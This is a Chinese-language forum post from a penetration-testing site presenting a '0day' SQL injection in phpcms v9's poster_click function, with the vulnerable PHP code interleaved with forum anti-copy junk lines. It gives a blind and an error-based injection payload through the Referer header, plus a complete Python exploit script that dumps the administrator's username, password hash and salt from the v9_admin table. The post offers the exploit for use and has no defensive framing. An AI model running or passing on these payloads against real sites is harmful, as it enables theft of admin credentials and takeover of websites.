中国网络渗透测试联盟
标题:
phpcms post_click注入0day利用代码
[打印本页]
作者:
admin
时间:
2013-1-11 21:01
标题:
phpcms post_click注入0day利用代码
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
: p, g! t$ Z3 j% O d8 V9 A
5 l5 M& m2 D0 p, |; w, \1 f
问题函数\phpcms\modules\poster\index.php
! Q/ F c3 t3 p
2 F! Z3 b% M6 R* q+ p/ o# y
public function poster_click() {
8 p: i, w0 e' h( P+ J! T
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
( n! t8 J) }3 }4 F& p2 q
$r = $this->db->get_one(array('id'=>$id));
3 x, Y1 G+ h H& d" v
if (!is_array($r) && empty($r)) return false;
$ E$ O) p: d' b' s2 V) Y7 }' g
$ip_area = pc_base::load_sys_class('ip_area');
/ |$ g( ]. T+ J1 q p
$ip = ip();
; T0 @4 L; E" W. T* Q' Z. N m
$area = $ip_area->get($ip);
/ p( U/ I n4 B7 ^
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
, G: K7 F x* F7 C9 G/ [' K
if($id) {
7 Q1 l: h0 k8 h; P' F
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
/ y8 v4 ~. s! E. [- {
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
/ M1 _- h. ~+ d( w: M: B7 W
}
3 a: U- ~, I. l7 c1 ?
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
, [: |( w5 _0 `
$setting = string2array($r['setting']);
5 N8 |1 ~4 Y G; t
if (count($setting)==1) {
$ L9 U/ k6 G s9 l
$url = $setting['1']['linkurl'];
7 z$ ?3 n# E ]' A; [
} else {
2 F. m- l% s/ l0 @) f
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
3 y5 W- E3 o" X# d* t! W9 K
}
v8 D" H. x7 @( ~ t
header('Location: '.$url);
: M2 l( ]) U0 L3 l4 Y
}
- r. o1 O7 c# D" J) ~
; {" N% W/ N: z
' |2 c- M5 B( F7 R) K
0 u" ~: l0 u l- y+ w# T
利用方式:
9 h6 v% Y5 O3 Y W3 l! j
3 ]3 m4 @# u$ I7 _0 ~) ~: R
1、可以采用盲注入的手法:
3 u& [- Z( A/ q( ~
/ T3 U3 Z9 C7 j5 [) r( P
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
3 ^5 s& H1 |9 ^9 Y( U
, A# U! r& D% s
通过返回页面,正常与否一个个猜解密码字段。
7 v+ b- s2 Q6 Z X9 l" |/ Q
* k. w$ K) H! |/ M
2、代码是花开写的,随手附上了:
& ^3 n% Z9 Z/ ^' y. p$ t
. a8 J% V0 r- o( G& B& ], `
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
! c3 W3 H/ z2 t$ n5 d( D9 I+ y+ s; b
2 k7 O+ d- Y$ Y5 ]; B7 T; w
此方法是爆错注入手法,原理自查。
7 |0 h+ K4 q8 [! k. V' L! A+ i9 G
( s2 Q0 U' o" I2 x
& z, |7 O' e5 v& t- |
3 L0 \ X( c# |! k# ~$ b1 z
利用程序:
4 t' D+ `; b# H4 M5 G9 o
% d5 a) C7 y4 c
#!/usr/bin/env python
7 i& \" K1 u) X t! o8 `
import httplib,sys,re
9 v3 ?7 z' }+ r( T" T! V; Z
* n% ~/ `' P* O3 O+ o4 N9 L5 [
def attack():
7 H* @; U* S9 l- v" N1 k
print “Code by Pax.Mac Team conqu3r!”
* p; R2 V) h5 @) _: G( n' N
print “Welcome to our zone!!!”
/ V C9 C1 h6 N& q/ F
url=sys.argv[1]
7 c# `3 w$ @. f! S3 Q3 c
paths=sys.argv[2]
. S3 Z6 t8 f( n" b9 l3 [8 F( E
conn = httplib.HTTPConnection(url)
' E+ P/ W) {7 `
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
) t. O- q" }" v3 H+ G H( i
“Accept”: “text/plain”,
* O- m* p+ ]& s+ x2 {, N
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
' E: B" i" W# n
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
* t* Q; y+ \, y2 t
r1 = conn.getresponse()
" L& {/ R* y2 t4 v* r: v
datas=r1.read()
5 s' t; W# u4 v3 O4 _" I5 V
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
4 O0 y* _( I* E0 ^ U; ~ Q5 p
print datas[0]
6 B$ v. p% j/ N0 I& R
conn.close()
0 ^) n k, Y; O2 x, E' u8 M8 O6 {4 f
if __name__==”__main__”:
! b$ ?1 @. o% s
if len(sys.argv)<3:
: N ], B5 j6 F( J/ ]
print “Code by Pax.Mac Team conqu3r”
# h. ^. F; C: {& }3 [* ~8 N
print “Usgae:”
7 r5 z+ c6 t1 E# s8 S! k& [ C
print “ phpcmsattack.py
www.paxmac.org
/”
) \( D3 \' `) \
print “ phpcmsataack.py
www.paxmac.org
/phpcmsv9/”
- j% N X7 ~+ Q$ J. ?3 t$ T
sys.exit(1)
7 Z, ^% ^! S' W3 d- S j3 t4 y* H
attack()
5 h2 @, S- X8 n: L0 x
: n. G/ c' n* g: n
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2